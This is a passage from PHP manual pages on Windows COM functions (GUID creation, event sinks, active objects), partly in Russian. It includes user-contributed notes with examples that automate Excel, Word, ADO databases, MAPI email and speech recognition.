   for($row=1;$row<=7;$row++){
       for ($col=1;$col<=5;$col++){

          $sheet->activate;
          $cell=$sheet->Cells($row,$col);
          $cell->Activate;
          $cell->value = 'pool4tool 4eva ' . $row . ' ' . $col . ' ak';
       }//end of colcount for loop
   }

   ///////////
   // Select Rows 2 to 5
   $r = $sheet->Range("2:5")->Rows;

   // group them baby, yeah
   $r->Cells->Group;

   // save the new file
   $strPath = 'tfile.xls';
   if (file_exists($strPath)) {unlink($strPath);}
   $wkb->SaveAs($strPath);

   //close the book
   $wkb->Close(false);
   $excel->Workbooks->Close();

   //free up the RAM
   unset($sheet);

   //closing excel
   $excel->Quit();

   //free the object
   $excel = null;
?>
Pedro Heliodoro 05-Mar-2006 02:38
Using the Windows Media Player OCX and the latest snap of PHP 5.1 i was able to eject a CD-ROM drive

<?php
//create an instance of Windows Media Player
$mp = new COM("WMPlayer.OCX");
//ejects the first cd-rom on the drive list
$mp->cdromcollection->item(0)->eject();

?>
allan666 at gmail dot com 29-Sep-2005 03:37
If you are using a COM object that opens windows or dialogs (like Office applications), those windows or dialogs will not appear and will stay invisible even if you use codes like

$word->visible = true;

To solve this problem, go to the web service properties (Administrative Tools) and click (in the Logon TAB) "Allow the Service to Iterate with desktop".

This explain lots of problems to close applications. When you try to close, the dialos asking to save the file must appear, but only in the option to iterate with desktop is on.

Hope it helps.
bruce at yourweb dot com dot au 23-Apr-2005 05:47
Simple convert xls to csv
<?php
// starting excel
$excel = new COM("excel.application") or die("Unable to instanciate excel");
print "Loaded excel, version {$excel->Version}\n";

//bring it to front
#$excel->Visible = 1;//NOT
//dont want alerts ... run silent
$excel->DisplayAlerts = 0;

//open  document
$excel->Workbooks->Open("C:\\mydir\\myfile.xls");
//XlFileFormat.xlcsv file format is 6
//saveas command (file,format ......)
$excel->Workbooks[1]->SaveAs("c:\\mydir\\myfile.csv",6);

//closing excel
$excel->Quit();

//free the object
$excel->Release();
$excel = null;
?>
michael at example dot com 23-Feb-2005 12:42
After alot of trouble with IIS 6/Windows 2003 and PHP 5.0.2 I figured out how to use Imagemagick COM+/OLE interface. Seems you have to recreate the COM object after each convert() otherwise it will sometimes fail with very strange errors, since the PHP COM interface is not as stable as the old ASP one apparently is.
06-Jan-2005 09:11
if you want to add a new hyperlink with excel :

<?php
$cell=$sheet->Range('O'.$j);
$cell->Hyperlinks->Add($cell ,'here_your_file');
?>

I write this note because is very difficult to find
the good method to do that .

Merci beaucoup
sorin dot andrei at mymail dot ro 25-Sep-2004 02:24
[Editor's Note:
Serializing the object, storing it and then (on the next page) unserializing it WILL work.
End Note]

the big problem for PHP is it can't save in session an COM object

an samples code is here. This works just first time, then give the error:
Call to undefined method com::Refresh() on line  $mMap->Refresh();
the reson is he can't save the object $mMap in session

<?php
    session_start();
      if (isset($_SESSION['map'])) {
            $mMap = $_SESSION['map'];
        }
        else
        {
        $ArcIMSConnector = new COM ("aims.ArcIMSConnector")  or die("can not create AIMS message object");
            echo "Loaded ArcIMSConnector, <br>";
            $ArcIMSConnector->ServerName = "map.sdsu.edu";
            $ArcIMSConnector->ServerPort = 5300;

            $mMap = new COM ("aims.Map")  or die("can not create aims.Map message object");
            echo "Loaded aims.Map, <br>";
            print "AIMS-ServerName= $ArcIMSConnector->ServerName <br>";

            $resultInit= $mMap->InitMap($ArcIMSConnector,"Worldgeography");

            $mMap->Width    = 400;            //                                'Width of the map in pixels
            $mMap->Height   = 300;            //                                'Height of the map in pixels
            $mMap->BackColor = 15130848;
            $_SESSION['map'] = $mMap;
        }

    $resultRefresh = $mMap->Refresh();                                //Refresh the map
    $urlImage      = $mMap->GetImageAsUrl();
    print "<br>urlImage=$urlImage<br>";

    print "<br><IMG SRC='$urlImage'>";

/*
    $ArcIMSConnector->Release();
    $ArcIMSConnector = null;

    $mMap->Release();
    $mMap = null;
*/

?>
ferozzahid [at] usa [dot] com 24-Aug-2004 12:06
To pass a parameter by reference to a COM function, you need to pass VARIANT to it. Common data types like integers and strings will not work for it.

As an example, calling a function that retrieves the name of a person will look like:

<?php
$Name = new VARIANT;

$comobj = new COM("MyCOMOBj.Component") or die("Couldn't create the COM Component");

if(!$comobj->GetName($Name)) {
    echo("Could not retrieve name");
}
else {
    echo("The name retrieved is : " . $Name->value);
}
?>

$Name->type will contain the type of the value stored in the VARIANT e.g. VT_BSTR.

Note For PHP 5:

Insted of '$Name->value', we can use only '$Name' for getting the value stored in the VARIANT. To get the type of the value stored in the VARIANT, use 'variant_get_type($Name)'.

Feroz Zahid
Shawn Coppock 11-Aug-2004 01:15
For those of us that are not experts with object models, if you have Microsoft Excel or Microsoft Word available, go into the Visual Basic Editor (Alt+F11). Now you can open the object browser window (F2) and see what you find.

If you select "Word" in the object browser, then the classes and members of that class are displayed below. For example, if you click on "Selection" in the classes column, and then "Font" in the members column, you will then see "Property Font As Font Member of Word.Selection" displayed at the bottom. Click on the "Font" link there.

Click on Word "Selection" again in the classes column, and then "PageSetup" in the members column, you will then see "Property PageSetup As PageSetup Member of word.Selection" displayed at the bottom. Click on the "PageSetup" link there.

Using the above examples, you can now formulate your Word Document from php. Here is a simple example that creates a 1 & 1/2" space for text based on the margin settings & with dark red text and an 8pt Helvetica font face:

<?php
$content = "Insert Sample Text Here\n\nThis starts a new paragraph line.";
$word= new COM("word.application") or die("Unable to create Word document");
print "Loaded Word, version {$word->Version}\n";
$word->Visible = 0;
$word->Documents->Add();
$word->Selection->PageSetup->LeftMargin = '3"';
$word->Selection->PageSetup->RightMargin = '4"';
$word->Selection->Font->Name = 'Helvetica';
$word->Selection->Font->Size = 8;
$word->Selection->Font->ColorIndex= 13; //wdDarkRed = 13
$word->Selection->TypeText("$content");
$word->Documents[1]->SaveAs("some_tst.doc");
$word->quit();
echo "done";
?>

This example (and others) worked for me with Microsoft Word 10.0 Object Library (MS Word 2002), Apache & PHP on Windows XP. Experimenting using the Visual Basic editor will yield some amazing documents from PHP as it will help you see the relationships of the objects used and give you an idea as to how to construct your code. But be prepared for an occaisional PHP.exe crash if your code is way off base.

Hope this helps!
angelo [at] mandato <dot> com 18-May-2004 04:30
Useful PHP functions I created (similar to other standard PHP database functions) for working with an ADO datasource:
<?php
    // ado.inc.php

    $ADO_NUM = 1;
    $ADO_ASSOC = 2;
    $ADO_BOTH = 3;

    function ado_connect( $dsn )
    {
        $link = new COM("ADODB.Connection");
        $link->Open($dsn);
        return $link;
    }

    function ado_close( $link )
    {
        $link->Close();
    }

    function ado_num_fields( $rs )
    {
        return $rs->Fields->Count;
    }

    function ado_error($link)
    {
        return $link->Errors[$link->Errors->Count-1]->Number;
    }

    function ado_errormsg($link)
    {
        return $link->Errors[$link->Errors->Count-1]->Description;
    }

    function ado_fetch_array( $rs, $result_type,  $row_number = -1 )
    {
        global $ADO_NUM, $ADO_ASSOC, $ADO_BOTH;
        if( $row_number > -1 ) // Defined in adoint.h - adBookmarkFirst    = 1
            $rs->Move( $row_number, 1 );

        if( $rs->EOF )
            return false;

        $ToReturn = array();
        for( $x = 0; $x < ado_num_fields($rs); $x++ )
        {
            if( $result_type == $ADO_NUM || $result_type == $ADO_BOTH )
                $ToReturn[ $x ] = $rs->Fields[$x]->Value;
            if( $result_type == $ADO_ASSOC || $result_type == $ADO_BOTH )
                $ToReturn[ $rs->Fields[$x]->Name ] = $rs->Fields[$x]->Value;
        }
        $rs->MoveNext();
        return $ToReturn;
    }

    function ado_num_rows( $rs )
    {
        return $rs->RecordCount;
    }

    function ado_free_result( $rs )
    {
        $rs->Close();
    }

    function ado_query( $link, $query )
    {
        return $link->Execute($query);
    }

    function ado_fetch_assoc( $rs,  $row_number = -1 )
    {
        global $ADO_ASSOC;
        return  ado_fetch_array( $rs, $ADO_ASSOC, $row_number);
    }

    function ado_fetch_row( $rs,  $row_number = -1 )
    {
        global $ADO_NUM;
        return ado_fetch_array( $rs, $ADO_NUM, $row_number);
    }

    // Extra functions:
    function ado_field_len( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Precision;
    }

    function ado_field_name( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Name;
    }

    function ado_field_scale( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->NumericScale;
    }

    function ado_field_type( $rs, $field_number )
    {
        return $rs->Fields[$field_number]->Type;
    }

?>

The aod version was a typo.
mark dickens at mindspring dot com 29-Feb-2004 08:03
Just a note to those wanting to use COM to interface to printers under Windows 2000/XP.  If it doesn't work or seems to hang, try changing the logon identity under which the Apache (assuming you're using Apache) service is running from the System account to another account.  By default most services will install to run under the System account and although the System account has total authority on the computer it is running on, it has no authority outside of that realm as I understand it.  Apparently accessing printers is considered "outside the realm".  I used this technique to interface a Dymo thermal label printer to my server and it works now.
alanraycom at el hogar dot net com 03-Dec-2003 03:50
XSLT transformations using MSXML can be done with this code

<?php
function xsltransform1($xslpath,$xmlstring)
 {
  $xml= new COM("Microsoft.XMLDOM");
  $xml->async=false;
  // $xmlstring is an xml string
  $xml->load($xmlstring);
  $xsl = new COM("Microsoft.XMLDOM");
  $xsl->async=false;
  // $xslpath is path to an xsl file
  $xsl->load($xslpath);
  $response=$xml->transformNode($xsl);
  unset($xml);
  unset($xsl);
  return $response;
 }
?>

enjoy
Alan Young
chris at hitcatcher dot com 01-Dec-2003 04:19
Many COM objects don't do well when passing long (win32) filenames as function parameters.  You can get the 8.3 name of the folder or file on *most* (some win platforms don't support it, and it can be toggled off in the registry for performance reasons) servers using the following:

<?php
//create FSO instance
$exFSO = new COM("Scripting.FileSystemObject") or die ("Could not create Scripting.FileSystemObject");

//set vars
$myDir = "C:\\Program Files\\";
$myFile = "a long file name.txt";

//get folder & file objects
$exDir = $exFSO->GetFolder($myDir);
$exFile = $exFSO->GetFile($myDir . $myFile);
echo $exDir->ShortPath;
echo $exFile->ShortPath;
?>
23-Nov-2003 09:57
Here is an example of reading the custom properties like Author, Keywords, etc. which are stored in MS Office and other Windows files. You must install and register dsofile as described at http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q224351. The .frm file in that distribution lists most of the available properties.

<?php
// the file you wish to access
$fn = '/docs/MFA.xls';

$oFilePropReader = new COM('DSOleFile.PropertyReader');
$props = $oFilePropReader->GetDocumentProperties($fn);

// one syntax
$au = com_get($props, 'Author');
print "au: $au \n";

//another syntax
$str = 'LastEditedBy';
$lsb = $props->$str;
var_dump($lsb);

// set a property if you wish
if (!$props->IsReadOnly()) {
  $props->Subject = 'tlc';
}
?>
brana 17-Nov-2003 05:17
How to send email via MAPI (works with Windows NT4, apache launched as a service)

<?php
#New MAPI session...
$session = new COM("MAPI.Session");

#Login
$strProfileInfo = "exchange_server" . chr(10) . "exchange_user";
$session->Logon("", "", 0, 1, 0, 1, $strProfileInfo);

# New message...
$msg = $session->Outbox->Messages->Add();
$msg->Subject = "Subject";
$msg->Text = "body";

#set recipients...
$rcpts = $msg->Recipients;
$rcpts->AddMultiple("toto@toto.com", 1);   #To...
$rcpts->AddMultiple("titi@titi.com", 2);   #Cc...
$rcpts->AddMultiple("tutu@tutu.com", 3);   #Bcc...

# Resolve senders
$rcpts->Resolve();

#Send message
$msg->Send();

#Logoff
$session->Logoff();

#Cleanup
if($msg!=null) {
    $msg->Release();
    $msg = null;
}
if($session!=null) {
    $session->Release();
    $session = null;
}
?>

ps : NT account launching the service and exchange user must match !
php at dictim dot com 06-Sep-2003 01:17
This took me days to work out how to do so I gotta share it:

How to get the word count from a MS Word Document:

<?php
#Instantiate the Word component.

$word = new COM("word.application") or die("Unable to instantiate Word");

$word->Visible = 1;

$word->Documents->Open("c:/anydocument.doc");
$temp = $word->Dialogs->Item(228);
$temp->Execute();
$numwords = $temp->Words();

echo $numwords;

$word->Quit();
?>

Note that this is the only way to get the word count accurately:
$word->ActiveDocument->Words->Count;
Will see all carriage returns and punctuation as words so is wildy innaccurate.
tomas dot pacl at atlas dot cz 16-Jun-2003 06:07
Passing parameters by reference in PHP 4.3.2 (and in a future releases of PHP )

In PHP 4.3.2 allow_call_time_pass_reference option is set to "Off" by default and future versions may not support this option any longer.
Some COM functions has by-reference parameters. VARIANT object must be used to call this functions, but it would be passed without an '&' before variable name.

Example:

<?php
$myStringVariant = new VARIANT("over-write me", VT_BSTR);

/* works */
$result = $comobj->DoSomethingTo($myStringVariant );

/* works only with allow_call_time_pass_reference option set to "On" and may not work in a future release of PHP */
$result = $comobj->DoSomethingTo(&$myStringVariant );

/* The value in the variant can be retrieved by: */
$theActualValue = $myStringVariant->value;
?>
php at racinghippo dot co dot uk 22-Mar-2003 05:47
PASSING/RETURNING PARAMETERS BY REFERENCE
=========================================

Some COM functions not only return values through the return value, but also act upon a variable passed to it as a parameter *By Reference*:

RetVal = DoSomethingTo (myVariable)

Simply sticking an '&' in front of myVariable doesn't work - you need to pass it a variant of the correct type, as follows:

  $myStringVariant = new VARIANT("over-write me", VT_BSTR);
  $result = $comobj->DoSomethingTo( &$myStringVariant );

The value in the variant can then be retrieved by:

  $theActualValue = $myStringVariant->value;

Other types of variant can be created as your needs demand - see the preceding section on the VARIANT type.
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:51
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.
pchason at juno dot com 11-Dec-2002 11:23
Searched for days on how to set up a multi-column html output grid that didn't use an array when creating an ADODB connection. Couldn't find one so I figured it out myself. Pretty simple. Wish I would have tried it myself sooner. Commented code with database connection is below...

<html>
<body>
<table>
<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
$clients = $rs->Fields(1);
//start the multicolumn data output
$i = 0;
$columns = 5;
while (!$rs->EOF){
//if $i equals 0, start a row
if($i == 0){
echo "<tr>";
}
//then start writing the cells in the row, increase $i by one, and move to the next record
echo "<td>" . $clients->value . "</td>";
$i++;
$rs->movenext();
//once $i increments to equal $columns, end the row,
//and start the process over by setting $i to 0
if($i == $columns || $rs->EOF) {
echo "</tr>";
$i = 0;
    }
}
//end multicolumn data output

//close the ADO connections and release resources
$rs->Close();
$conn->Close();
$rs = null;
$conn = null; ?>
</table>
</body>
</html>
tedknightusa at hotmail dot com 26-Sep-2002 09:29
A Notes example:

<?php
$session = new COM "Lotus.NotesSession" );
$session->Initialize($password);

$someDB = "C:\Lotus\Notes\Data\somedb.nsf";
$db = $session->GetDatabase("", $someDB) or die("Cannot get someDB.nsf");
$view = $db->GetView("some_view") or die("Some View not found");

$doc = $view->GetFirstDocument() or die("Unable to get Initial Some Document");

// loop through
while($doc){
  $col_vals = $doc->ColumnValues();
  echo $col_vals[0];
  $doc = $view->GetNextDocument($doc);
}
?>
dwt at myrealbox dot com 27-Aug-2002 03:31
When first writing applications instancing COM objects I always faced the problem of the instanced program not terminating correctly although everything else worked fine. In fact the process had to be killed manually by using the task manager. When experimenting a bit I was able to isolate the cause for this peculiar behaviour to be illustrated by the sample code below:

<?php

//Accessing arrays by retrieving elements via function ArrayName(Index) works, but certainly is neither efficient nor good style
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$book=$excel->Workbooks(1);
$sheet=$book->Worksheets(1);

$sheet->Name="Debug-Test";
$book->saveas("C:\\debug.xls");

$book->Close(false);
unset($sheet);
unset($book);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

//Accessing arrays as usual (using the [] operator) works, buts leads to the application not being able to terminate by itself
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$excel->Workbooks[1]->Worksheets[1]->Name="Debug-Test";
$excel->Workbooks[1]->saveas("C:\\debug.xls");

$excel->Workbooks[1]->Close(false);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

?>

The sample code performs the same action twice and each time the file is properly created. Yet for some mysterious reason the instanced excel process won't terminate once you've accessed an array the way most programmers (especially those who do a lot of oop in c++) do! Therefore until the PHP developers become aware of this problem we'll have to use the inefficient coding style illustrated in the first example.
madon at cma-it dot com 07-Mar-2002 12:59
I thought this excel chart example could be useful.

Note the use of Excel.application vs Excel.sheet.

<pre>
<?php
    print "Hi";
#Instantiate the spreadsheet component.
#    $ex = new COM("Excel.sheet") or Die ("Did not connect");
$exapp = new COM("Excel.application") or Die ("Did not connect");

#Get the application name and version
print "Application name:{$ex->Application->value}<BR>" ;
print "Loaded version: {$ex->Application->version}<BR>";

$wkb=$exapp->Workbooks->add();
#$wkb = $ex->Application->ActiveWorkbook or Die ("Did not open workbook");
print "we opened workbook<BR>";

$ex->Application->Visible = 1; #Make Excel visible.
print "we made excell visible<BR>";

$sheets = $wkb->Worksheets(1); #Select the sheet
print "selected a sheet<BR>";
$sheets->activate; #Activate it
print "activated sheet<BR>";

#This is a new sheet
$sheets2 = $wkb->Worksheets->add(); #Add a sheet
print "added a new sheet<BR>";
$sheets2->activate; #Activate it
print "activated sheet<BR>";

$sheets2->name="Report Second page";

$sheets->name="Report First page";
print "We set a name to the sheet: $sheets->name<BR>";

# fills a columns
$maxi=20;
for ($i=1;$i<$maxi;$i++) {
    $cell = $sheets->Cells($i,5) ; #Select the cell (Row Column number)
    $cell->activate; #Activate the cell
    $cell->value = $i*$i; #Change it to 15000
}

$ch = $sheets->chartobjects->add(50, 40, 400, 100); # make a chartobject

$chartje = $ch->chart; # place a chart in the chart object
$chartje->activate; #activate chartobject
$chartje->ChartType=63;
$selected = $sheets->range("E1:E$maxi"); # set the data the chart uses
$chartje->setsourcedata($selected); # set the data the chart uses
print "set the data the chart uses <BR>";

$file_name="D:/apache/Apache/htdocs/alm/tmp/final14.xls";
if (file_exists($file_name)) {unlink($file_name);}
#$ex->Application->ActiveWorkbook->SaveAs($file_name); # saves sheet as final.xls
$wkb->SaveAs($file_name); # saves sheet as final.xls
print "saved<BR>";

#$ex->Application->ActiveWorkbook->Close("False");
$exapp->Quit();
unset($exapp);
?>

</pre>

Alex Madon


Создание уникального глобального идентификатора (GUID)

  • « Функции COM
  • com_event_sink »
  • PHP Manual
  • Функции COM
  • Создание уникального глобального идентификатора (GUID)

com_create_guid

(PHP 5, PHP 7, PHP 8)

com_create_guid — Создание уникального глобального идентификатора (GUID)

Описание

com_create_guid(): string|false

Создаёт уникальный глобальный идентификатор (GUID).

GUID генерируется так же как и DCE UUID, за исключением того, что, по конвенции Microsoft, необходимо заключать GUID в фигурные скобки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с GUID или false, если возникла ошибка.

Смотрите также

  • uuid_create() в модуле PECL uuid

User Contributed Notes

internmail (at the google mail).com 22-Jan-2020 02:26
function create_guid() { // Create GUID (Globally Unique Identifier)
        $guid = '';
        $namespace = rand(11111, 99999);
        $uid = uniqid('', true);
        $data = $namespace;
        $data .= $_SERVER['REQUEST_TIME'];
        $data .= $_SERVER['HTTP_USER_AGENT'];
        $data .= $_SERVER['REMOTE_ADDR'];
        $data .= $_SERVER['REMOTE_PORT'];
        $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));
        $guid = substr($hash,  0,  8) . '-' .
                substr($hash,  8,  4) . '-' .
                substr($hash, 12,  4) . '-' .
                substr($hash, 16,  4) . '-' .
                substr($hash, 20, 12);
        return $guid;
    }
rogervila dot es 10-Sep-2019 02:16
I implemented a com_create_guid implementation for systems that do not support it as a Composer package in order to keep it separated from my applications

https://github.com/rogervila/com_create_guid
Dave Pearson (dave at pds-uk dot com) 14-Apr-2016 10:07
Here's my final version of a GUIDv4 function (based on others work here) that should work on all platforms and gracefully fallback to less cryptographically secure version if others are not supported...

<?php
/**
 * Returns a GUIDv4 string
 *
 * Uses the best cryptographically secure method
 * for all supported pltforms with fallback to an older,
 * less secure version.
 *
 * @param bool $trim
 * @return string
 */
function GUIDv4 ($trim = true)
{
    // Windows
    if (function_exists('com_create_guid') === true) {
        if ($trim === true)
            return trim(com_create_guid(), '{}');
        else
            return com_create_guid();
    }

    // OSX/Linux
    if (function_exists('openssl_random_pseudo_bytes') === true) {
        $data = openssl_random_pseudo_bytes(16);
        $data[6] = chr(ord($data[6]) & 0x0f | 0x40);    // set version to 0100
        $data[8] = chr(ord($data[8]) & 0x3f | 0x80);    // set bits 6-7 to 10
        return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
    }

    // Fallback (PHP 4.2+)
    mt_srand((double)microtime() * 10000);
    $charid = strtolower(md5(uniqid(rand(), true)));
    $hyphen = chr(45);                  // "-"
    $lbrace = $trim ? "" : chr(123);    // "{"
    $rbrace = $trim ? "" : chr(125);    // "}"
    $guidv4 = $lbrace.
              substr($charid,  0,  8).$hyphen.
              substr($charid,  8,  4).$hyphen.
              substr($charid, 12,  4).$hyphen.
              substr($charid, 16,  4).$hyphen.
              substr($charid, 20, 12).
              $rbrace;
    return $guidv4;
}
?>
indrora 08-Nov-2015 07:09
If you're going to generate random UUIDs, at least make them conform:

* The uppermost byte of the third stanza must be 4
* the uppermost byte of the fourth stanza may be any of (8 9 a b)

see also: The wikipedia page for UUIDs: https://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29
pavel.volyntsev(at)gmail 27-Aug-2015 12:37
Use more cryptographically strong algorithm to generate pseudo-random bytes and format it as GUID v4 string

function guidv4()
{
    if (function_exists('com_create_guid') === true)
        return trim(com_create_guid(), '{}');

    $data = openssl_random_pseudo_bytes(16);
    $data[6] = chr(ord($data[6]) & 0x0f | 0x40); // set version to 0100
    $data[8] = chr(ord($data[8]) & 0x3f | 0x80); // set bits 6-7 to 10
    return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
}
Alix Axel 16-Aug-2010 03:59
The phunction PHP framework (http://sourceforge.net/projects/phunction/) uses the following function to generate valid version 4 UUIDs:

<?php

function GUID()
{
    if (function_exists('com_create_guid') === true)
    {
        return trim(com_create_guid(), '{}');
    }

    return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
}

?>

The output generated by the sprintf() and mt_rand() calls is identical to com_create_guid() results.


Связать сообщения объекта COM с объектом PHP

  • « com_create_guid
  • com_get_active_object »
  • PHP Manual
  • Функции COM
  • Связать сообщения объекта COM с объектом PHP

com_event_sink

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

com_event_sink — Связать сообщения объекта COM с объектом PHP

Описание

com_event_sink(variant $variant, object $sink_object, array|string|null $sink_interface = null): bool

Обязывает объект COM пробрасывать сообщения, созданные variant в объект PHP sink_object.

Будьте осторожны с этой возможностью. Если вы будете делать что-то похожее на пример ниже, то это не будет иметь никакого смысла при запуске в контексте веб-сервера.

Список параметров

variant

sink_object

sink_object должен быть экземпляром класса с методами, названными как в выбранном диспетчерском интерфейсе; вы можете использовать функцию com_print_typeinfo() для помощи в генерации шаблона класса.

sink_interface

PHP будет пытаться использовать тип диспетчерского интерфейса по умолчанию, как указано в библиотеке типов, связанной с variant, но вы можете изменить такое поведение, задав в sink_interface имя желаемого диспетчерского интерфейса.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | sink_interface теперь допускает значение null.

Примеры

Пример #1 Пример com_event_sink

<?php
class IEEventSinker {
var $terminated = false;

function ProgressChange($progress, $progressmax) {
echo "Прогресс загрузки: $progress / $progressmax\n";
}

function DocumentComplete(&$dom, $url) {
echo "Загрузка $url завершена\n";
}

function OnQuit() {
echo "Quit!\n";
$this->terminated = true;
}
}
$ie = new COM("InternetExplorer.Application");
$sink = new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
$ie->Visible = true;
$ie->Navigate("http://www.example.org");
while(!$sink->terminated) {
com_message_pump(4000);
}
$ie = null;
?>

Примечания

Предостережение

До PHP 8.0.0 вызов exit() из любого обработчика события не поддерживался и мог привести к зависанию PHP. Это можно обойти, выбрасывая исключение из обработчика события, перехватывая исключение в основном коде и вызывая оттуда exit().

Смотрите также

  • com_print_typeinfo() - Печатает определение класса PHP для интерфейса, наследующего IDispatch
  • com_message_pump() - Обработка сообщений COM, пришедших не позднее timeoutms миллисекунд после её запуска

User Contributed Notes

veggie 25-Dec-2016 10:23
I got voice recognition working. I'm not sure why the way I called the sink function made it work but I'm more about results right now. This small example had me rolling on the floor laughing.

<?php
/*
 * Search this for more info on the voice stuff:
 * Automation Interfaces and Objects (SAPI 5.4)
 */

//directions:
//php friend.php
//then fire up windows voice recognition and turn it on and say stuff

$voice = new COM("SAPI.SpVoice");

print "Hit control+c to end.\n";
print "Friend: Hello friend!\n";

$voice->Speak("Hello friend!");

class listen
{

    function Recognition($StreamNumber, $StreamPosition, $RecognitionType, $ISpeechRecoResult)
    {

        $phrase = $ISpeechRecoResult->PhraseInfo;
        $text = $phrase->GetText();

        print "\nYou:$text\n";

        global $voice;
        $say = array('oh', 'nice', 'humm', 'interesting', 'you dont say', 'uh huh', 'right', 'what', 'ha ha', 'you have got to be joking', 'right back at you buddy');
        $idx = rand(0, count($say)-1);

        print "Friend: " . $say[$idx] . "\n";
        $voice->Speak($say[$idx]);

    }

}

$recog = new COM("SAPI.SpSharedRecognizer");

$context = $recog->CreateRecoContext();

//SRERecognition = 16 (default)
//SREAllEvents = 393215
//$context->EventInterests = 393215;

//try to listen to events on context
$listen = new listen(); //event handler
if (!com_event_sink($context, $listen, "RecognizerStateChange"))
{
    print "Unable to sink events\n";
    exit;
}

$grammar = $context->CreateGrammar();

$i = $grammar->DictationLoad();

$s = $grammar->DictationSetState(1); //1=on, 0=off

while(true)
{

    if(!com_message_pump(1000))
    {
        print ".";
    }

}

?>
fjortiz 14-Jul-2005 12:33
In case someone needs a skeleton sink for ADODB.Connection events:

class ADOConnectionEventSink    {

    function BeginTransComplete( $translevel, $objerror, $status, $objconn )    {
        return 0;
    }

    function CommitTransComplete( $objerror, $status, $objconn )    {
        return 0;
    }

    function RolbackTransComplete( $objerror, $status, $objconn )    {
        return 0;
    }

    function WillConnect ( $ConnectionString, $userid, $psword, $options, $status, $objconn )    {
        return 0;
    }

    function ConnectComplete ( $objerror, $status, $objconn)    {
        return 0;
    }

    function Disconnect( $status, $objConn )    {
        return 0;
    }

    function WillExecute ( $src, $cursortyp, $locktyp, $options, $status, $objcomm, $objrs, $objconn )    {
        return 0;
    }

    function ExecuteComplete ( $recaffected, $objerror, $status, $objcomm, $objrs, $objconn )    {
        return 0;
    }

    function InfoMessage ( $objerror, $status, $objconn)    {
        return 0;
    }
}

// later on...
$db = new COM("ADODB.Connection", NULL, $charPage);
$sink = new ADOConnectionEventSink();
com_event_sink($db, $sink, "ConnectionEvents");
//...


Вернуть дескриптор на уже запущенный экземпляр объекта COM

  • « com_event_sink
  • com_load_typelib »
  • PHP Manual
  • Функции COM
  • Вернуть дескриптор на уже запущенный экземпляр объекта COM

com_get_active_object

(PHP 5, PHP 7, PHP 8)

com_get_active_object — Вернуть дескриптор на уже запущенный экземпляр объекта COM

Описание

com_get_active_object(string $prog_id, ?int $codepage = null): variant

com_get_active_object() - это то же самое, что и создание нового экземпляра объекта com, за исключением того, что объект будет возвращён, если он уже запущен. Приложения OLE используют так называемую "Таблицу Запущенных Объектов" для возможности запускать приложения единожды. Эта функция представляет обёртку над библиотечной COM-функцией GetActiveObject().

Список параметров

prog_id

prog_id должен быть или ProgID или CLSID объекта, к которому вы хотите получить доступ (к примеру, Word.Application).

codepage

Делает то же самое, что и в классе com.

Возвращаемые значения

Если запрошенный объект запущен, то он будет возвращён вашему скрипту как любой другой объект COM.

Ошибки

Есть множество причин, по которым эта функция может завершиться с ошибкой. Наиболее распространённая причина в том, что объект не запущен. В таком случае будет выброшено исключение MK_E_UNAVAILABLE; вы можете использовать метод getCode для проверки кода исключения.

Список изменений

Версия | Описание
8.0.0 | codepage теперь допускает значение null.

Примечания

Внимание

Использование com_get_active_object() в контексте веб-сервера - это не самая умная идея. Большинство приложений COM/OLE спроектированы так, что не могут работать одновременно с несколькими пользователями, даже (или особенно) Microsoft Office. Больше полезной информации читайте в » Considerations for Server-Side Automation of Office.

User Contributed Notes

gerrit at timingteam dot nl 04-Jan-2009 09:25
Please note the next behavior (Apache 2.2.8, W2K, WXP)

